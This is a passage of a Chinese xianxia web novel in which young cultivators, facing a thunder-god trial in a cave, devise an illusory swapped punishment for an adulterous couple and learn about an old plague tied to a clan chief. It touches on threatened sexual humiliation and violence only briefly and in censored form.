顾梦真挠挠脸:“额,可能是你上辈子做了太多坏事吧。” “……什么坏事?” 顾梦真:“这个嘛……” 明易:“比如,荣华富贵但铜臭熏天,妻妾成群却朝秦暮楚。” 顾梦真一拍手表示赞同:“对对,很有可能!这不就有因必有果了?” 夏建:…… 瞅他的神情,显然是不愿接受这样的理由。当然,明易等人也没有执意要说服他接受的耐心,干脆强硬一点,直接按照丰隆说的三部曲:先给予他们公平的惩罚,让他们得到应得的痛苦,在这之后便会有真心的悔改。 俗话说得好啊,不见棺材不落泪! 那就商量一下这棺材要怎么造吧 。 “反正肯定不是按照她们原先的惩罚,让小倩进狗神洞,再驱逐夏建什么的,这太不公平了。”屠芜道,“我们得换个法子……对了,你们归壹派的弟子如果犯了这些错会怎么样?” 在戒律堂做事的明易:“压入牢中让他们反思悔改,至于其中的手段……不便与你们说,不过照这二人的罪行来看,都不致死。” “了解,”屠芜颔首,“我们药神谷也差不多。” “等等啊,”曾换月发言,“不致死的前提是他们两个没害死过人吧?还不知道那个表哥是不是他们害死的呢?” 石映心提议:“我们现在有四次问对错的机会,要不问问丰隆?” 曾换月:“好啊,要怎么问呢,直接问是不是他俩害死的吗?” 石映心摇摇头道:“我觉得这事应与他们有关,但或许真不是他们直接害死的人。而且不知为何,小倩表哥的死让我觉得很有疑点。” 就算她这会被眼纱遮着眼睛,但她师兄妹已经习惯了信任她的判断,几乎就认定了是这样的情况。那么怎么提问就成了一个问题。 “可以这么问,”明易说,“‘他们二人是否是间接害死小倩表哥的凶手’,或者‘二人是否是故意害死对方’。” 屠莱想了想道:“问是否故意吧,我怕丰隆认为蛊虫也算是一种间接的手段。” 大伙没意见。 而丰隆的回答是:“否。” 结果她们还没咋滴呢,夏建还激动起来:“我都说了,小倩表哥不是我们害死的!” “你闭嘴。”曾换月不客气道,“不是故意只能说明你们没有直接下手害他,但他的死肯定和你们有关!” 夏建一噎,自己觉得冤枉到说不出话了;倒是小倩还在勤勤恳恳地解释着:“真不是我们害的,表哥是死于那个怪病……” 对对,就是怪病,她们正是都觉得这种查不出来的怪病八九不离十和蛊虫有关。可看小倩这诚恳中带着委屈的模样,屠芜皱眉道:“如果不是你们……难道是别人给你表哥下了蛊虫?” “不太可能。”小倩却摇头否认道,“我表哥一家向来与人为善,没听说有什么仇家。而且当时我公婆请来了族内不少有名的蛊师来为他诊断,其中还包括族长盘叁,连他们都无法,世上难道还有比他们厉害的蛊师?” 夏建在边上嘀咕了一句:“是啊,更别提是出自我们之手了。” “比盘叁还厉害的蛊师……”石映心问,“很少见吗?” “族长是螺族最厉害的蛊师!”小倩几乎是斩钉截铁道,“当初盘王长子、次子相继死去后,众人都在争夺族长之位,谁知族内突然爆发了一场骇人的瘟疫,短短几日便死了不少族人,好在是族长出手才解决了瘟疫……因此族人们都十分爱戴他。” “瘟疫?”屠莱眉头一皱,“什么瘟疫?” “就是很突然的一场病疫,我们至今也不知是为何而起。”小倩回忆道,“只记得某一日清晨,外头突然传来几声怒吼般的狗叫,有人谩骂着出去查看情况,却有接二连三的惨叫声传来……” “当时我被吵醒,吓得不敢出去,透过窗户往外看了几眼……”小倩的脸上露出可怖的神色,“我看到有人一边吼叫着一边扑上去撕咬人,仿佛发了疯的野狗一般……有些人当场被咬死,有些没被咬死但被咬伤的,没过一刻钟也会被传染变异……” 随着小倩的描述,夏建也打了个寒颤,应和道:“那日的情景实在是太恐怖了,满大街的鲜血和尸体,还有挂着残肢断臂四处砸门要伤人的病人……那些病人完全失去了人的意识,我们实在没办法,只好在他们咬伤更多人之前将他们杀死。” “可第一日的悲剧还未消停,第二日一早又有人莫名发病,好在这次大家有了经验,很快将那人束缚起来,这才没造成太大的伤亡。当时叫来了族中所有的蛊师医师来为他诊断,其中就有盘叁,可大部分人都一筹莫展。” “一波未平一波又起,第三日又有新的人发病……大家渐渐地感到害怕,怕自己也会成为下一个发病的人;一时族中人心惶惶不可终日,有人想逃离族中,但盘叁派人将他拦了下来,说是出去会感染外界……” 这个决定倒是对的。屠家兄妹对这段完全没听过的历史感到震撼和好奇:“然后呢?” “然后……然后就是几日的人人自危,很多族人不敢吃不敢喝,就怕那些食物是发病源,但不吃不喝哪是长久之计;也不敢外出,只怕撞见什么蛊术陷阱……就在整个螺城都惶恐不安的第十三日,盘叁族长站了出来,说自己找到了解决瘟疫的解药。” 哇,大伙想,这个时候站出来的盘叁那可太英雄了。 “族人们一开始将信将疑,直到他将解药喂给了一个发病中的族人,不过半刻钟,就见他忽然跪倒在地上大口大口地吐出了许多黑血,然后便消停地晕倒过去,第二日一早起来竟然就恢复了寻常……他又给其他病人一试,所有人都有所好转。” “族人们大喜过望,又听盘叁说他还研制了一种预防药,服下后便不会再怕瘟疫复发,于是所有族人都服下了预防药,果然再也不见得病的人,瘟疫便到此终于结束。盘叁也成为了众望所归的族长。” 听起来害人的瘟疫故事就这么在故事中简单地结束了,但听的人还有许多问题。 比如,明易问:“所以引起的瘟疫的病源究竟是什么?” 夏建却是一呆:“这……便不清楚了。” 第212章 曾换月歪头:“难道盘叁没和你们说嘛?他没把事情的前因后果告诉你们?你们就这么信任地服下了他的解药?” “因为那些病人服下后都转好了。”小倩理所当然道,“族人们见状自然就相信了他……而且也没有别的更好的办法了。” 屠莱看着夏建和小倩呆呆的两张脸,居然有些想笑:“所以这么久过去了,你们依旧不知道那场病从何而起,服下了什么药,又为何被治好了?” 二人:“……额,嗯。” 屠芜闭上眼睛翻了个白眼,深呼一口气道:“好,那我问你们,病愈后可有什么后遗症?” 石映心插嘴道:“或是族里突然多了什么规矩之类的改变。” “后遗症……”夏建想了想,“好像没有。” “有啊,有!”小倩却有些激动道,“夫君你忘了,这场瘟疫之后,我们螺族的女子就留下了后遗症?” 屠芜眉心一跳:“女子留下了后遗症?” “是。”小倩颔首道,“说是女子要在二十前婚嫁,让男子的阳盛之气压制病症,否则便会发病伤人,易怒癫狂……若是得到压制,这会转为来月事时的阵痛……” 夏建一副才想起来的模样:“对对,确有此事。” 这不就是金虫她们说过的怪病吗?众人纷纷看向屠芜。 “原来这源远流长的怪病来自此处。”屠芜的脸上扯起一个怔然的难看笑容,“究竟是为什么……” 屠莱看向妹妹道:“也许找出那场瘟疫的起因,便能顺势找出解决怪病的办法。” 他看着屠芜发愣的神色,顿了顿又道:“没理由盘叁能做到,我们做不到。” 屠芜轻轻叹了口气:“嗯,能从这里得知此事,也是意外的收获了。” 兄妹二人在这边说话,另一边的曾换月小声对师姐说:“感觉屠芜她们很在意这个怪病的事呢。” 石映心也小声回她:“屠芜来罗宝山石窟便是为了此事,屠莱的目的似乎也和这事有关;她们应该本就想找能治怪病的解药。” 曾换月有些恍然,好像一下子贯通起很多事:“原来是这样……怪不得屠芜要和药商买那么贵又不知道干嘛用的万蛇草……还执意要进石窟找石破花,原来她一直在偷偷试验啊。” “不过为什么呢?”曾换月有些不解,“我感觉屠芜也不是很在意螺族的事啊?” 石映心模糊道:“可能和她在意的人有关。” 不等曾换月多问,屠芜和她哥说完话,便朝几人道:“如果到最后问题有多余的话,我们想问丰隆和瘟疫有关的事……” 归壹派几人无所谓地说好啊好啊,只有明易多问了一句:“是什么问题?” 屠芜道:“最后一问再谈吧,我们先说回正事。现在有一个问题,小倩和夏建二人是同等的惩罚还是要分轻重?” 曾换月举手发言:“如果要分的话,肯定夏建是主犯,一切都是因为他不满自己命格又执意要改变才闯下的祸;而小倩主要是脑子方面的问题比较大。所以我认为吧……小倩一巴掌,夏建两巴掌。” 石映心:“就打巴掌好像不够。” 曾换月:“我只是打个比方啦。” “那怎么说,”屠莱斟酌道,“一个判终身,一个判半辈子?” “还得考虑补偿受害者的问题,”顾梦真很妥善道,“比如补偿小倩表哥她爹娘的损失,包括钱财和养老以及报答两个小孩的养育之恩。” 明易的意见是:“目前看来,小倩表哥的死和二人有间接关系;再加上他们明知故犯,可以适当考虑一些**上的刑罚,当然最重要的是思想纠正和改错。” 屠芜赞同地点点头:“感觉差不多了。” “我有不同的意见,”石映心显然并不满意,“这些手段能让他们感到后悔和真心悔改吗?方才夏建是很不服气的;更何况……” 她带着雪白的眼纱,说话时又没什么表情,就显得整张脸都冷冰冰的,说出来的话更是叫人心寒:“你们觉得丰隆会满意这么简单且正规的答案吗?” “你的意思是……”明易看向她,“很可能是不同寻常的、另辟蹊径的答案?” “嗯,而且……”她瞥了眼边上的三座雷神石雕,仿佛隔着眼纱也能看见什么,嘴上更是一点也不避讳道,“她们本就不是人,长得也不像人,怎么会按照人间的规矩行事?” 曾换月用了零瞬思考:“我觉得师姐说得有道理!” 屠芜便问:“那么她们会以什么标准实施公平的惩罚?” 顾梦真琢磨琢磨:“以牙还牙以眼还眼?这够原始吧。” “咋以牙还牙以眼还眼?让小倩表哥活过来再给小倩戴绿帽子?然后生和夏建非亲非故的小孩给他养?”曾换月摇摇头,“现在的情况没这个条件啊。” 明易思酌道:“其实二人犯的错除了欺瞒之外,主要体现在让小倩表哥一家人感到痛苦……也许我们可以从二人最在意的地方下手。” 屠莱挑眉:“目前看来他们最在意的就是彼此。总不能把一个人杀了,然后让另一个人痛苦万分……这样惩罚过重;可仅是单纯地将二人分开,他们产生的思念对受害者来说完全又不痛不痒。” 说来说去,怎么着都不对劲。 曾换月抱头烦躁:“啊好难啊!” “屠芜,”石映心忽然想到什么,“你先前说,按照螺族的习俗和规矩,通奸的女子就算不被送入狗神洞中也会有其他刑罚,那些刑罚是什么?” “她们会被押入牢中受刑……”说到这里,屠芜默了默,语气不大好道,“但其实就是被牢中的那些狱卒凌·虐。但这都是大家默认的,毕竟他们觉得女子通奸就是·荡·妇,该受此凌·辱。” “男子呢?” 屠芜一耸肩:“让他们眼睁睁地看着情人受辱,然后再打个几十一百鞭的,等他半死不活了就逐出螺族。” “什么呀!”曾换月翻白眼,“不公平。” 可石映心却微微颔首,二话不说转头就对小倩道:“我们已做好决定,将你押入牢中受刑,被那些狱卒肆意·凌·虐·直到死去……” 在小倩呆愣的眼神中,她又看向夏建:“至于你,就待在边上眼睁睁地看小倩受·辱,顺便挨一百鞭子,等你半死不活了就被扔出螺族。这样的惩罚你们服气吗?” 屠莱:“喂,你等等……” 顾梦真将他拉回来:“你等等!” 听傻了的二人这会回过神来,紧紧抱住了彼此,头挨着头哀嚎大哭起来,眼泪鼻涕一起流到对方身上,仿若糨糊一般将二人黏在一起,黏黏糊糊不能分开。 夏建大声哭着:“小倩,我不想你死啊!你不能死啊!” 小倩也哭着说:“夫君,死倒还好,若是让我活着却不能和你相聚,那还不如死了算了!” “小倩,我又何尝不是如此呢?他们竟叫我眼睁睁地看你受辱,这和直接往我身上捅刀子有什么区别?!” “夫君,我生是你的人,死是你的鬼!他们能夺走我的**,夺不走我对你的忠贞不渝!” 夏建闻言好感动啊:“小倩,我知道,我明白,我相信你的心中只有我;此生有你,夫复何求……” 小倩也感动得泪眼汪汪:“夫君,为了你,我什么都愿意……只是我实在不忍心看你见我受辱,又要承受酷刑……我不愿你最后一次见我,是我这般狼狈不堪的模样呜呜……” “小倩,”夏建心疼地抹去她脸上的泪水,“傻瓜,我怎么会嫌弃你呢?不管你是什么样子,在我眼中始终是最美的。” 小倩抽抽鼻涕:“夫君……等我死了,你就要孤苦一人离开螺城……我在天之灵也不舍得看你余生孤独,你忘了我吧,要找个值得的女人,再与她好好地度过一生……” 夏建也是一把鼻涕一把泪:“小倩!我不会忘了你的,我会带着你的份一起好好活下去!哪怕日日都会生不如死地思念你,我也会苟延残喘,只待来生与你再续前缘……” “好,夫君,我们来世再见,”小倩露出缥缈的、期待的笑容,看着面前这张熟悉的脸,发自肺腑道,“如果可以,我多想为你承担所有痛苦……” 夏建紧紧握着她的手:“小倩,我又何尝不是呢?看你受苦,那才是要了我的命啊!” “夫君……” “小倩……” “好啊。” 沉浸于深情款款、爱意绵绵中的二人:? 他们转头看向那个不识趣的插话之人,正是看完一出好戏后无聊地打了个哈欠的石映心,二人被她突兀的一声打断情绪,两双泪眼婆娑的深情眼都有些疑惑:“好啊”是什么意思? 石映心的意思是:“既然你们都愿意为彼此受苦,那就把你们二人的刑罚交换一下吧。” 二人皆是一愣。小倩问话时声音还有些哭腔:“交、交换……是什么意思?” “很难理解吗?”石映心微微歪了脑袋,“既然你们愿意为彼此承担惩罚,那就让小倩一边挨鞭子一边看夏建被那些狱卒肆·意·凌·虐·受·辱·致·死,等夏建死了,小倩半死不活了,就将她孤单一人扔出螺城……” “怎么样,是不是实现了你们替对方受苦的心愿?”说罢,她兀自,似乎对自己的安排有些满意,“不用太感谢我。” 小倩二人:? 明易五人:噢OO! 等等…… 第213章 “等等!”夏建瞪着眼睛张大嘴巴道:“这、这不是我们螺族的规矩……” 石映心:“我们也不是螺族的人。” 夏建:“可是……” 石映心:“再说你们本就违法了族中规矩,怎么还执着要用族中规矩惩罚自己?” 夏建:…… “就是就是!”曾换月立刻做出威严的模样,“现在你们落到了我们手上,怎么惩罚你们自然是我们说了算!干嘛,你们有谁不服?” 夏建显而易见地整个人僵住了,徒然看着几人,满眼冒着荒唐但说不出话;迟钝的小倩这时候才反应过来呢,苍白的双唇颤抖道:“可是、可是夫君是男子,怎么能……受那样的耻辱……” “为何不能?”屠芜奇怪道,“世上有同性之好的人也有不少,再说这是惩罚,又不是奖励,为何还要遵循寻常的习惯?自然是越叫人难以接受、越能让人痛彻心扉。” 小倩:……好有道理哦。 她无法反驳,夏建却想到了理由:“不、不行!我不忍心看小倩一人声名狼藉地离开螺城,生不如死地苟延残喘……” 屠莱挑眉:“不,她可以再找一个值得的好男人,连带着你的份一起好好活下去,等待来世与你再会。” 夏建:…… 小倩哽咽道:“可我怎么忍心看夫君受那样的痛苦?” 顾梦真摊手:“他也不忍心看你受苦,你俩谁受这个苦谁都不忍心,好像感同身受似的,那就没差嘛。” 小倩:…… “不错。”就连明易也颔首赞同道,“既然方才你们已表述了忠心,小倩姑娘不愿看夏建孤苦伶仃一人生不如死,夏建也不愿看小倩姑娘受辱去死……那么互换一下,算是实现了你们二人的心愿。” 二人:………… 好像有哪里不对劲但是……无法反驳。 石映心见这二人说不出话,于是开口道:“不必言谢,既然你们都没意见,那么就这么决……” “不行!”夏建猛地抬起头来,大声叫道,“我不同意!我堂堂男子汉大丈夫,怎能受那等肮脏的凌·辱?!” 曾换月“嘿”了一声:“什么意思啊,所以你想让小倩替你受·辱吗?” “这、这怎么能叫替我受·辱?”感受到边上人投来的视线,夏建并未回应,“这本就是螺族女人通奸该受的惩罚……本就是她该受的……” “你还没搞清楚状况吗?”屠莱冷笑一声,“什么螺族狗族,现在是我们说的算。” 夏建提高了音量:“你们完全是乱来!” “乱来是什么意思?”石映心疑惑道,“世上的规矩难道还是你们螺族定的?不符合你们的规矩就是乱来?” 夏建一噎:“可,可我生是螺族的人,死是螺族的鬼……” “既然这样,”石映心便想了个办法,“等我把你们螺族全杀光了,你们螺族连带着那些规矩便不复存在。” 夏建:……! 屠家兄妹:…… 一时难以分清她是在吓唬人还是干嘛,总之不能再继续这个危险的话题。夏建则是摇头晃脑道:“不行,不可以,我不能受这样的惩罚,这不公平……” 小倩在边上诧异地看着他:“夫君……” “小倩,”忽然听见有人叫她,小倩回过头去,是那个戴眼纱的女人,“你觉得这两种惩罚哪种适合你呢?” “我……我觉得各有各的痛苦……”小倩似有些犹豫,她下意识看向夫君,这会却是猛地一吓——只瞧见一双布满红血丝的狰狞的双目,“夫、夫君?” “小倩!”夏建扑上来抓住她的双肩,“你忍心看我一个大男人被那些男人奸·辱·吗?你忍心吗?” “我……” “这本就是你该受的惩罚,为何要我与你交换?” 小倩茫然中回忆起方才那一句句让她深受感动的情话,这些让她心甘情愿的深情这时如针一般一下下刺痛了她的神经,让她总算得来一些清明:“是我的惩罚……可,可你确实说过愿意替我受苦,看我受苦就是要了你的命……” “这……”夏建一下子哽住了喉咙,双目直勾勾地看着那条明明已经煮熟了却忽然诈尸的鱼,“我,我是愿意的……但事情不该是这样……” 小倩张了张嘴:“那该是怎么样?” “我……” “夫君,你方才说的那些都是骗我的吗?”小倩语气并不是质疑,听起来更像是可怜的不可置信,“所以,现在有一个能替我受罪的机会摆在那你面前,而你却不愿意是吗?” 夏建闭上了嘴巴,用一种让小倩感到陌生的视线看着她:“你居然真的想让我替你受罪?你怎么如此自私!” “不,我不想,”小倩摇摇头,眼泪就摇了出来,“为了你,我受什么罪都愿意!不管是受人·羞·辱,还是被鞭打、被驱逐,孤苦一生……如果不能和你在一起,我是死是活都无所谓!” 夏建仿佛看到了救命稻草,死死地捏住了小倩的双肩:“好,好!我知道你待我好,你快同她们说你不同意,你不同意和我交换惩罚!” “……可是,”小倩抽了抽鼻涕,痛苦地望着面前的爱人,“我为你心甘情愿的一切,都是建立在你对我的爱之上。你说你不想成婚克妻,所以我嫁给别人;你说你不愿让我委屈地和表哥恩爱,所以我用蛊虫迷惑他;你说……你不忍看我受苦,所以我也不想让你痛苦!可是——” 她猛地将她的夫君推开,嘶吼道:“若你对我的爱不纯粹、不真心、不全心全意,那我为何要心甘情愿地为你付出一切!?” “小倩!”夏建大受震撼,“你、你竟然……是这样想的?好啊,那我问你,你的爱就纯粹、真心、全心全意了吗?不然你怎么忍心交换惩罚,让我在男人胯·下·受·辱?” 小倩:“那你又为何忍心?” 夏建:“这本就是你该接受的惩罚!” “就是我本该接受的又如何,你若爱我,就该真心代替我!” “你竟想让我代替你?你若爱我,就不会有这样的想法!” 小倩:“既然你不愿,为何要说那些话哄骗我?什么愿意为我付出一切——你就是个虚情假意的骗子!” 夏建:“究竟谁是虚情假意的骗子?若我知道你真有那么自私的想法,我怎会对你说那些话!你根本就配不上那些情话!” “你骗人!” “你自私!” …… 剧情转换得太快,看好戏的六人差点没反应过来,但不妨碍她们看得津津有味,果然还是这种真心中的虚情,假意中的诚实最叫人感兴趣了。 曾换月感叹道:“我还以为小情是恋爱脑,看来是我错怪她了,她是个真爱脑啊!为了心目中纯洁的爱情可以不顾一切。” 屠芜也笑了:“可一旦发现爱并不纯粹,就会由爱生恨。” “怎么说呢……”顾梦真摸摸下巴,“还不算无可救药?” “果然,”屠莱嘲讽道,“虚情假意的人最会说情话,既要骗得了别人,也要骗自己。” 明易见几人看戏都看得很入迷啊,不得不出声提醒道:“事已至此,我们就按照映心方才说的惩罚交答卷?” “好啊好……等等,”曾换月神秘一笑,“我觉得他们现在只是撕破了脸,但不算是诚心诚意的悔改呢,不如我再添把火!” 明易:“……什么?” 此时阻止已经来不及了, 就见小师妹打了个响指,一边的空地上忽然多出来十个身穿狱卒服的男人,个个都是邋里邋遢的老大爷,容貌丑陋,身上手上还有一些鞭子长链铁尺一类的刑具…… 瞧着就臭烘烘的,还很凶神恶煞。 石映心等人自然知道这些狱卒都是幻觉,但那边还在沉浸地互相谴责“你骗人”“你自私”“你不够爱我”“你虚情假意”的小倩夏建二人并不知道啊,看着这一群忽然出现的狱卒,吓得往后边爬了几步。 曾换月压着笑容,故作严肃地“咳咳”了两声,很有威严道:“好了,这便是要对你们施刑的狱卒,你们二人可都准备好了?” 这谁能准备好啊。 小倩本来对自己要“受·辱·致·死”一事并没有多大的真实感,这会见了这些恶臭的老男人,吓得脸色青白,冷汗淋漓,瞪着那双害怕到失去焦点的眼神颤巍巍地问:“几、几位大人……方才说的……我和夏建交换刑法……是真的吗?” 曾换月哈哈大笑:“当然是真的!” 小倩肉眼可见地松了口气,整个人瘫软在地上,流下眼泪的时候苦着脸笑了起来。 她这时感到盛大的庆幸,不是庆幸自己不是受惩罚的人,而是庆幸看清了爱人的真面目,如此在看他受罚时才没有负罪感,才有借口安慰和抚平心痛,才能有决心在半死不活地被驱逐后再好好地活下去。 想到这,她后知后觉方才夏建声嘶力竭的质疑是那么可笑……不过并不多余,起码每一次的扎心都让她不再遗憾。 在这大起大落的劫后余生之后,她恍然又迷惑地感到后悔,自己这些年究竟是怎么想的,竟然看不清爱人的真面目,还为他做了那么多糊涂事,伤害了那么多人……如果有重来的机会…… 没有如果。 有人在晃神,有人在慌神。夏建眼睁睁瞅着那些五大三粗的狱卒朝他一边淫·笑着一边走来,先是怒不可遏地大骂道:“不公平!不公平!这不是我该接受的惩罚!你们简直是胡来,是仗势欺人!” 然后见众人不为所动,那些狱卒越走越近,又连忙扑到石映心等人面前跪下,涕泗横流道:“我错了,我真的知错了!要是我早知道通奸要受这样的罪,就是打死我也不敢啊!各位青天大老爷饶命啊!!” 不管是大老爷还是老天奶都无动于衷,只是冷漠地瞅着他求饶的滑稽面色,最多的动容就是扬起一抹讥讽的笑容。 夏建感到自己走投无路,转身又连滚带爬地往小倩扑去:“小倩,小倩你救救我吧,你帮帮我吧,你不是说你为了我做什么事都愿意吗,我们把惩罚换回来!你忍心看我受这些人羞辱吗!小倩——” 小倩站起来走远了。 夏建:“你这个自私自利的臭·婊·子!!” 小倩朝他温柔一笑:“当·婊·子·也好过被一群臭男人·轮·奸。” 夏建:…… 第214章 他整个人瘫倒在地上,瘦弱的身躯在一群狱卒的阴影中瑟瑟发抖;在极致的恼怒和恐惧之下,他下半身屎屁直流,上半身一躬,呕地吐出许多血来;被站在他身后不远处的小倩看得一清二楚。 石映心等人没瞅见这恶心的场景,也是多亏了那些狱卒大哥挡着。 不等明易施法撤去将要发生的剧情,眼前的角色们都停止动作,只见空中灵光一闪,原先热闹的景象如泡沫般消散得一干二净,眨眼睛只剩下她们六人和三座石雕,石窟中又恢复了平静。 “哈哈哈哈!”丰隆石雕重新恢复了动弹,她先是发出了爽朗畅快的笑声,一只手和另一只手上的大锤头敲起来像是在鼓掌,看得叫人那一块要被敲碎,“好啊,好啊,真是叫我心悦的答案!” 六人闻言都是松了口气,屠芜试探地问:“那我们是……答对了?” “虽然和我原先的设想有所不同,”丰隆大方道,“不过算你们对。” 大伙便高兴起来,先前说了,三个问题只要答对两道便能安全出去,再答对一道就有奖励;这会有了保底,等会的问题随便答答都行。 见这些小孩喜形于色,丰隆的龙胡须也兴奋地翘了翘:“我问你们,为何会想出一个交换惩罚的法子?” 这主意是石映心想的,于是大伙纷纷看向她。 曾换月:“还是我师姐聪明!” 石映心实话实说:“其实我就随便试试,没想到就叫他们反目了。” 曾换月一愣:“啊,随便试试?” “嗯,”石映心颔首道,“虽然我们都觉得男女通奸,对二人进行不同的惩罚是不公平,但是我听得出来,不管是夏建还是小倩,都对自己将要受到的惩罚都接受良好。” 顾梦真“啊”了一声:“那他们就是在明知故犯嘛!一开始做的时候就想到会有这一天了。” “相当于是做了很久的心理准备,”屠芜抱着胸道,“估计都觉得是理所当然了。” 屠莱:“觉得理所当然并不意味着会真心悔改。” “不错,”石映心说,“所以我想要给他们一些新的恐怖。又听他们口口声声说不忍心看对方痛苦,甘愿为彼此承担一切……正巧我也不知道还有什么惩罚,那就将二人换一下试试……” 也没想到效果这么好啊,直接给人家干反目成仇了。 见她自己还有些茫然呢,丰隆轻笑道:“这么说,你是误打误撞?” 石映心心虚地顿了一下,立刻露出靠谱的神色:“不,是我的直觉。” 丰隆:“哦?” “映心是在身临其境地换位思考,”明易为师妹找补道,“毕竟世上没有绝对的公平,哪怕方才给他们二人相同的惩罚,也不能算是公平。” “方才我……师妹想,阁下想要的公平惩罚应与寻常的衡量方式不同,并不是肉身或者利益上的同等损失,而是罪人感到‘应得的痛苦’和‘真心的悔改’;那么降下惩罚的衡量标准应是小倩姑娘和夏建二人的所作所为和心理承受能力。” 明易看向屠家兄妹道:“虽然并不清楚为何螺族对通奸男女的惩罚有所不同,但显然族人们已经默认了这样的规矩,因此不觉得不公平。可见人间的刑罚是由人定,轻重皆由人来定夺,而人的标准并不完全正确。” “同理,我们也是人,所以议论二人该死该活,该坐牢还是该驱逐意义不大,”明易客观分析道,“重点应在于让二人感到悔恨。 ” 她有想这么多吗?不过大师兄说得好有道理啊,石映心赞同地朝大师兄点了点头:“嗯,我的直觉是这个意思。” 明易微笑:“……嗯。” “噢,我明白了。”大聪明曾换月了然道,“所以我们要脱离人的标准,让小倩他们摆脱‘理所当然’的思维……否则他们不会感到后悔。” “可讽刺的是,”屠芜冷笑一声,“想让小倩后悔,要让她觉得爱情不值得;让夏建后悔,只要让他承受他明知小倩要承受的痛苦便好……” “哼!”曾换月翻了个白眼,“真是个贱人!只会说好听的话。” 石映心点评:“能设身处地为对方着想,但也只能是想想。” 是这么回事。 “好了好了,”顾梦真有些兴奋道,“第二个问题我们也答对了,所以第三个问题是什么呢?”看得出来他仿佛已经看到奖励近在眼前。 “等等,”屠芜紧忙发言,“在此之前……我们解这道题只问过你一个问题,还有三次问对错的机会,可否现在用?” 归壹派几人差点忘了这茬,毕竟能答对何必还需要提示呢;但见屠家兄妹很在意这个,便在边上安静地等着。 丰隆似有些意外,不过还是颔首道:“既然你都提了,善良正直的雷神会为你解答。不过按照之前的规则,我依旧只会答是或否。” “好。”屠芜看了她哥一眼,二人显然有过商量,问出的问题非常有针对性,“几百年前……也就是导致如今螺族女子身上怪病的那场瘟疫,是否和盘叁有关,但并非他造成?” 丰隆:“是。” 屠芜:“解决怪病的办法是否在罗宝山石窟之中?” 丰隆:“是。” 得到答案,她眼前亮了亮,但很快又平静下来,朝屠莱道:“还有一个问题,哥你来问吧。” 屠莱便问:“世上蛊修稀少的原因……是否和盘叁有关?” 丰隆听到这,忽然笑了笑:“算是。” 多说了一个字。屠莱诧异地看向丰隆,本来这雷神就没有人的表情,但他却隐约在龙头上看到一抹“恩赐”的神色;高高在上的神明也许只有这样居高临下的善良。 “多谢。”屠家兄妹朝雷神拱手行李。 丰隆哈哈笑了两声,朝边上的石雕道:“嫘祖,最后的难题就交给你了!”说罢,又沉寂为无声无息的石雕。 嫘祖醒来,这位最像人、但事实上是由人虚构产生的雷神,眉目间常存平静的温柔,她似乎看了看她们,而后不紧不慢道:“最后的问题,我只需要一人的答案。” 六人:? 曾换月:“谁啊?” 嫘祖:“石映心,将你的眼纱取下。” 石映心还没抬手,眼纱就被莫名解开,掉落在她肩上。眼前的师姐总算清明,她还没来得及适应就和嫘祖的石头双眼对视上,一时感到些恍惚。 嫘祖对她说:“我只需要你的答案。” 五人:……那我们多余呗。 明易自然担心其中有什么陷阱:“阁下为何只需要我师妹的答案?” 屠莱呵呵笑道:“难道是觉得石映心最聪明?……虽然她是聪明。” 石映心也疑惑:“是什么问题?” 嫘祖:“你明白要怎么知道。” “啊,我们连问题都不能知道吗?”顾梦真张了张嘴,“这是要干嘛啊?搞得我心里毛毛的。” “要不算了,映心。”明易对师妹道,“总之我们已经答对了两题,可以安全出去了。” “对啊,”曾换月也说,“我总感觉怪怪的……师姐你别乱来哦。” 屠家兄妹听到这已经完全不明白了,什么叫“只需要石映心的答案”,什么又叫“你明白要怎么知道”,二人简直一头雾水;但好在都是有眼力色的,乖乖待在边上多看不多问。 石映心其实明白师兄妹的关心,但俗话说好奇心害死猫,她不觉得自己会死,只需要考虑后果能不能承受。于是她问嫘祖:“你的奖励是什么?说来听听我再考虑要不要回答。” 屠莱挑眉:“还能这样提要求?” 屠芜微微摇头:“奇怪,我怎么感觉嫘祖好像很想映心回答她的问题。” 显然其中有诈,兄妹俩对视一眼。 果不其然,嫘祖微微颔首道:“奖励是一件稀世珍宝,对你很有用处。” 曾换月:“对我师姐吗?” 嫘祖:“对你们都很有用处。” “你们是……映心?我?我大师兄小师妹?”顾梦真的手在空中转了一圈,“还包括屠芜和屠莱?” 嫘祖还是好脾气:“……嗯。” “那肯定是件大宝贝啊,”顾梦真很心动地琢磨道,“啊呀这位雷神大人,您就不能把问题说出来叫我们也听听吗?” 嫘祖:“不可。” 明易和师妹传密音:“问题不是重点,嫘祖只是想你照她。” 石映心“嗯”了一声,又道:“她看起来不像一个坏神。” 她一说这话,明易便明白了她的意思,本还想再劝两句,但又明白自己干涉不了她的决定。若是这会是去要哪里冒险,他还能拦着她一会;但如今只是眨一眨眼睛的事……真是一点招都没有了。 明易只好说:“一切小心,若有什么事……不要瞒着我好不好?” 石映心答应得倒是很快:“好。” 几乎是话音落下的一瞬间,镜灵就对着那双石雕刻出的温柔双目眨了眨——这一瞬间她的脑中有些疑问,最开始的时候,难道也是她的“照”将三位雷神石雕唤醒的吗?要不然…… 不等她多想,她在脑海中听到了一个女人的声音,却与雷神石雕原先僵硬和无悲无喜的声音不同,像是来自另一个人,却又有些相似。这声音说:“我等你太久了……” 后边似乎叫了一个名字,是一种很生僻的发音,石映心没听明白,但应该不是在叫她——哪怕她的心脏猛地跳动了一下,明显是在回应这声呼唤。 她感到一种奇异的力量从心镜中蓬勃涌出,瞬间贯通了全身的经脉,似在贪婪地汲取什么,又像是在汹涌地宣泄;无意识的躯体已不再是凡胎肉身,只是某种传输灵力的宝器。 无数的能量经过了她,没有留下一些印记;她大概是失去了思绪,不然为何毫无想法。混乱和秩序之间,能读懂的只有只言片语。 “你回来了……” …… 你回来了。 …… 第215章 石映心醒来,眼前先是朦胧的黑乎乎一片,忽然窜出一张雪白的脸,这时候有人声跌跌撞撞地传入她的耳朵:“映心!映心?” “师姐你醒了?呜呜呜你总算醒了!” “哎呀映心啊,你这一言不合地就晕过去,可把我们担心坏了!” 石映心的神智渐渐清明起来,大师兄将她扶了起来,又给她喂了一些水;这时有什么又苦又大的圆球物体塞到了她的嘴边,她猛地一激灵,先是躲开了嘴边的药丸,再朝屠芜摇摇头道:“不必了,我没事。” “吃点吧,”屠芜坚持地关心道,“只是补药。” 大师兄也在边上劝说:“映心,方才我探你经脉有不同寻常地大起大落,如今身子也异常虚弱;这石窟中没什么吃的,将就吃些屠道友的灵药吧。” 屠芜无语:“……什么叫将就啊?我这十全大补丸在外头卖也很贵的好吧。” 明易:“多谢你。” 曾换月也在边上担忧道:“是啊师姐,两眼一闭吞下去就好了!” 屠芜翻白眼:“……又不是服毒!” 曾换月:“口感上是比服毒还要差些。” “……” 